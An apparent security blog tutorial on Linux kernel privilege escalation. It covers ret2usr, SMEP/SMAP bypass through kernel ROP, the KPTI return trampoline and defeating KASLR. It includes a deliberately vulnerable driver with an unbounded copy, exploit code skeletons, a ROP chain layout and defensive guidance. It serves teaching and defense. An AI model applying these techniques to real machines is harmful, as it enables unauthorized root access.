Kernel Pwn Primer: ret2usr, SMEP/SMAP, and KASLR

Kernel Pwn Primer: ret2usr, SMEP/SMAP, and KASLR - article cover image RE & Pwn
Time it takes to read this article 8 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Kernel exploitation shares the DNA of userland pwn — a memory-corruption bug, a hijacked control flow, a payload — but the stakes and the environment differ sharply. A bug in a privileged process gets you that process’s privileges; a bug in the kernel gets you ring 0, the whole machine, and a crash means a kernel panic rather than a segfault. The goal of most local-privilege-escalation kernel exploits is compact and universal: elevate the current process to root, typically by making the kernel run commit_creds(prepare_kernel_cred(NULL)) on your behalf, then return cleanly to userland and execve a shell that now has UID 0.

This primer maps the terrain a first kernel exploit must cross: the classic ret2usr technique (point kernel execution at a userland function), the hardware mitigations SMEP and SMAP that were built specifically to kill it, KPTI and how it complicates the return to userland, and KASLR — the kernel’s own address randomization. It is a conceptual and structural walkthrough using a deliberately vulnerable kernel module; exact offsets are version-specific and are deliberately described rather than fabricated.

Attack Prerequisites

Kernel LPE assumes you already have unprivileged code execution on the box and a kernel-side bug to drive:

  • Local unprivileged access and the ability to interact with the vulnerable surface — usually a device node (/dev/foo) via ioctl/read/write, a syscall, or a netlink/socket interface.
  • A kernel memory-corruption primitive — a stack/heap overflow in a driver, a UAF in a slab object, a missing bounds check on a copy_from_user, etc.
  • A way to recover kernel addresses if KASLR is on — a kernel info leak (dmesg pointer, uninitialized copy_to_user, a leak of a function pointer) to defeat randomization.
  • Knowledge of the target kernel’s symbol offsets for commit_creds, prepare_kernel_cred, and the return gadgets (swapgs/iretq sequence) — read from /proc/kallsyms on a permissive box, from the vmlinux/System.map, or computed from a leak.
  • A CPU/kernel whose mitigations you have accounted for — SMEP, SMAP, KPTI, and KASLR each demand a specific adaptation.

How It Works

The payoff function is commit_creds(prepare_kernel_cred(NULL)) (older kernels accept 0; note that on very recent kernels prepare_kernel_cred(NULL) behavior was tightened, and exploits target the kernel version in front of them). prepare_kernel_cred allocates a fresh credential structure with root IDs and commit_creds installs it on the current task, so afterwards the calling process is UID 0. If we can make the kernel execute those two calls with the right argument and then return safely to userland, dropping to a shell yields root. Everything else in a kernel exploit is machinery to reach that point and to survive the trip back.

ret2usr (“return to user”) is the original, simplest way to run controlled code in kernel context. Because both the kernel and the user program share the same address space layout at exploitation time on classic x86-64, a hijacked kernel return address could simply point at a function you compiled in your userland program — a function that calls commit_creds(prepare_kernel_cred(0)). The kernel, running at ring 0, executes your user-page code with full privilege. That is devastatingly simple, which is exactly why hardware mitigations were introduced to forbid it.

SMEP (Supervisor Mode Execution Prevention) makes the CPU fault if it is running in supervisor mode and tries to execute an instruction from a user page — killing ret2usr outright. SMAP (Supervisor Mode Access Prevention) extends the idea to data: the kernel faults if it reads or writes user pages without explicitly toggling the AC flag, which breaks the trick of staging a fake stack or structures in userland. Both are enforced via bits in the CR4 control register. The response is to stop using user pages entirely: build a ROP chain out of kernel gadgets that runs commit_creds(prepare_kernel_cred(0)) using only kernel code and kernel memory. KPTI (Kernel Page-Table Isolation, introduced to mitigate Meltdown) then complicates the return, because the kernel and user page tables are separated — you must return through the kernel’s designated trampoline that swaps CR3 and runs swapgs; iretq, rather than a bare iretq. KASLR sits over all of this, randomizing the kernel base so every gadget and symbol address must be rebased from a leak, exactly like userland ASLR.

Vulnerable Code / Setup

A minimal vulnerable character-device module with a stack overflow in its write handler is the standard practice target — it hands you a saved-RIP overwrite in kernel context:

// vulndrv.c  — deliberately vulnerable LKM (practice only)
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/uaccess.h>

static ssize_t vuln_write(struct file *f, const char __user *ubuf,
                          size_t len, loff_t *off) {
    char kbuf[64];
    // BUG: no bounds check; copies attacker-controlled len bytes
    copy_from_user(kbuf, ubuf, len);   // overflows kbuf past saved RIP
    return len;
}
// ... file_operations wiring registers /dev/vuln with .write = vuln_write
C

The exploit runs from a normal userland C program that opens the device and writes an oversized buffer. First, triage the environment — mitigations and symbol visibility decide the technique:

# Inspect the boot mitigations (from the QEMU/boot cmdline or /proc):
cat /proc/cmdline
#   ... nosmep nosmap nokaslr    <- easiest (ret2usr viable)
#   ... (defaults)               <- SMEP+SMAP+KPTI+KASLR on (ROP needed)

# If readable, kallsyms gives the symbol addresses (often restricted):
grep -E 'commit_creds|prepare_kernel_cred' /proc/kallsyms
cat /proc/sys/kernel/kptr_restrict   # 0 = pointers visible, aids leaks
Bash

Walkthrough / Exploitation

Two paths, chosen by the mitigations. When SMEP/SMAP are off (a common training configuration), ret2usr is the whole exploit: save the userland CPU state, point the overwritten kernel return address at a user function that escalates, and let the kernel trampoline back:

// Userland exploit (SMEP/SMAP off) -- ret2usr
void *(*prepare_kernel_cred)(void *) = (void *)PREPARE_KERNEL_CRED;
void  (*commit_creds)(void *)        = (void *)COMMIT_CREDS;

void escalate(void) {                 // runs in KERNEL context via ret2usr
    commit_creds(prepare_kernel_cred(0));   // current task -> root
}
// Overflow kbuf so the saved kernel RIP = &escalate; on return the
// kernel executes our user-page function at ring 0.
C

Returning to userland safely requires restoring the user segment registers, flags, RSP, and RIP that were captured before entering the kernel, then issuing the trampoline. The canonical helper saves that state up front:

unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(void){ __asm__("mov %%cs,%0; mov %%ss,%1; "
  "pushfq; pop %2; mov %%rsp,%3" : "=r"(user_cs),"=r"(user_ss),
  "=r"(user_rflags),"=r"(user_sp)); }
// After escalate(), chain: swapgs; iretq with [rip,cs,rflags,sp,ss]
// on the stack to drop back to a userland shell running as root.
C

With SMEP and SMAP enabled, the user-page escalate can no longer execute and user-staged data can no longer be read — so the payload becomes a pure kernel-ROP chain. You rebase the kernel from a leak, then lay kernel gadgets that load the argument, call the two credential functions, and return through the KPTI trampoline:

  [ pop rdi ; ret        ]   ; kernel gadget
  [ 0                     ]   ; rdi = NULL for prepare_kernel_cred
  [ prepare_kernel_cred   ]   ; rax = struct cred *
  [ mov rdi, rax ; ret    ]   ; (or pop-and-store) arg for commit_creds
  [ commit_creds          ]   ; install root creds on current task
  [ kpti_trampoline+off   ]   ; swapgs_restore_regs_and_return_to_usermode
  [ 0 ][ 0 ]                  ; trampoline's expected rax/rdi slots
  [ &get_root_shell ][ user_cs ][ user_rflags ][ user_sp ][ user_ss ]
TEXT

KASLR is defeated the same way userland ASLR is: leak one kernel address and compute the base. A readable /proc/kallsyms, a dmesg pointer, or an info-leak bug supplies a known symbol’s runtime address; subtract its offset from vmlinux to get the kernel slide, then add it to every gadget and symbol:

# Conceptual: rebase from a leaked known symbol.
KERNEL_BASE_DEFAULT = 0xffffffff81000000     # typical unrandomized base
leaked = 0xffffffff9a4XXXXX                   # from an info leak
slide  = leaked - (SYM_FILE_OFFSET + KERNEL_BASE_DEFAULT)
commit_creds        = KERNEL_BASE_DEFAULT + OFF_COMMIT_CREDS + slide
prepare_kernel_cred = KERNEL_BASE_DEFAULT + OFF_PREPARE_KERNEL_CRED + slide
Python

Notes

Note: The return to userland is where kernel exploits most often panic. With KPTI on, a bare iretq runs against the kernel page tables and faults; you must go through the kernel’s own swapgs_restore_regs_and_return_to_usermode trampoline (entering a few instructions past its start, after the register pops) so CR3 is swapped back to the user page tables. Debug this in a VM with a serial console and gdb attached to QEMU (-s), not on hardware.

Opsec: SMEP/SMAP are CR4 bits, and some older exploits flipped them off with a native_write_cr4 gadget; modern kernels pin those bits and will detect or refuse the change, so the durable approach is kernel-only ROP that never touches a user page rather than trying to disable the mitigation. Also note a failed kernel exploit is a panic — noisy, logged, and often a lost session.

Detection and Defense

Kernel self-protection has matured into layered, mostly hardware-assisted defenses; keeping them enabled is the mitigation:

  • SMEP and SMAP — CPU-enforced bars on executing/accessing user pages from the kernel; they kill ret2usr and user-staged data. Keep them on (do not boot with nosmep/nosmap).
  • KASLR / FGKASLR — randomize the kernel base (and, with function-granular KASLR, individual functions) so a single leak yields less.
  • KPTI — separates kernel/user page tables (Meltdown mitigation) and, as a side effect, complicates the return path for exploits.
  • kptr_restrict and dmesg_restrict — hide kernel pointers from /proc/kallsyms and dmesg, starving KASLR-defeating leaks.
  • Stack canaries (CONFIG_STACKPROTECTOR), CFI (CONFIG_CFI_CLANG), and hardened usercopy — detect the overflow, restrict indirect calls, and bound copy_to/from_user. Pair with seccomp and unprivileged-namespace limits to shrink reachable attack surface.

Real-World Impact

Linux kernel LPE is a mainstay of real-world attack chains — a sandbox escape or an unprivileged foothold is routinely paired with a kernel bug to reach root. The commit_creds(prepare_kernel_cred(0)) idiom is so standard that public exploits for high-profile issues such as Dirty COW (CVE-2016-5195) and Dirty Pipe (CVE-2022-0847) are studied precisely for how they turn a memory bug into that credential overwrite. The progressive rollout of SMEP (Ivy Bridge era), SMAP (Broadwell), and KPTI (2018, post-Meltdown) is a visible arms race: each closed a generation of technique — ret2usr, then user-staged data, then naive returns — and pushed exploitation toward kernel-only ROP and data-only attacks.

Conclusion

A kernel exploit is a userland exploit with higher stakes and a mandatory return trip. The objective compresses to one line — commit_creds(prepare_kernel_cred(0)) — and the mitigations decide how you deliver it: ret2usr when SMEP/SMAP are absent, kernel-only ROP when they are present, a KPTI trampoline to get home, and a leak to unwind KASLR. Practice in an instrumented VM where a panic costs nothing, learn the return path cold, and the intimidating parts of ring-0 exploitation reduce to the same leak-primitive-payload structure you already know.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL